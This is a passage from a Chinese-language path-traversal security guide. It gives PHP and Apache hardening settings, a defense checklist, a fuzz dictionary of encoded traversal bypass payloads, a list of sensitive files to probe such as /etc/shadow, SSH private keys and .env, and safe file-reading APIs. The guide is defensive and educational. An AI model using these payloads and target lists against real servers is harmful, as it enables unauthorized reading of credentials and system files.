<DirectoryMatch "\.git">
    Order allow,deny
    Deny from all
</DirectoryMatch>
; php.ini 安全配置
; 限制 PHP 可访问的目录范围
open_basedir = /var/www/html:/tmp:/var/lib/php/sessions

; 禁用危险函数
disable_functions = exec,system,passthru,shell_exec,popen,proc_open

; 关闭远程文件包含
allow_url_include = Off

; 关闭错误信息显示(防止路径泄露)
display_errors = Off
log_errors = On
error_log = /var/log/php/error.log

11.4 防御检查清单

✅ 永远不要将用户输入直接用于文件路径
✅ 使用白名单验证允许访问的文件列表(最推荐)
✅ 使用 realpath() / os.path.abspath() 规范化路径
✅ 规范化后验证最终路径必须以允许的目录为前缀
✅ 文件名只允许字母、数字、下划线、横线等安全字符
✅ 不允许文件名中包含路径分隔符(/ \ ..)
✅ 配置 open_basedir 限制 PHP 文件访问范围
✅ 设置 display_errors = Off,防止路径信息泄露
✅ 敏感配置文件(.env / config.php)设置严格的文件权限
✅ .git / .svn / .env 等敏感文件通过 Web 服务器配置禁止访问
✅ 不要在 Web 根目录存放私钥、备份文件等敏感内容
✅ 部署 WAF 检测路径穿越特征(../ / %2e%2e / 等)
✅ 定期扫描服务器是否有意外暴露的敏感文件
✅ 禁止 Web 用户读取 /etc/shadow、/root/.ssh 等高权限文件
✅ 设置合理的文件系统权限(最小权限原则)

附录

A. 路径穿越 Fuzz 字典

# 基础穿越
../
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..\
..\..\
..\..\..\
..\..\..\..\

# URL 编码
..%2f
..%2f..%2f
..%2f..%2f..%2f
%2e%2e%2f
%2e%2e%2f%2e%2e%2f
%2e%2e/%2e%2e/
..%5c
..%5c..%5c

# 双重编码
..%252f
..%252f..%252f
%252e%252e%252f
%252e%252e%252f%252e%252e%252f

# 嵌套绕过
....//
....//....//
....//....//....//
....\/
..././
..././..././

# 混合
..%2F..%2F..%2F
%2e%2e/%2e%2e/%2e%2e/
..%c0%af..%c0%af
..%c1%9c..%c1%9c

B. 敏感文件测试列表(Top 30)

/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/proc/self/cmdline
/proc/net/tcp
/proc/version
/root/.ssh/id_rsa
/root/.bash_history
/root/.my.cnf
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log
/etc/nginx/nginx.conf
/etc/apache2/apache2.conf
/var/www/html/.env
/var/www/html/config.php
/var/www/html/wp-config.php
/etc/redis/redis.conf
/etc/mysql/mysql.conf.d/mysqld.cnf
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\xampp\phpMyAdmin\config.inc.php
C:\xampp\apache\logs\access.log
C:\Users\Administrator\.ssh\id_rsa
C:\inetpub\wwwroot\web.config
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/maps

C. 不同框架/语言安全读取 API 速查

语言/框架 安全读取方式
PHP realpath() + strpos() 前缀检查
Python os.path.abspath() + startswith()
Java Spring Paths.get().normalize() + startsWith()
Node.js path.resolve() + startsWith()
Go filepath.EvalSymlinks() + strings.HasPrefix()
Ruby File.expand_path() + start_with?()
.NET Path.GetFullPath() + StartsWith()

⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。未经授权对任何系统进行路径穿越攻击属于违法行为,请在合法合规的环境中学习与实践。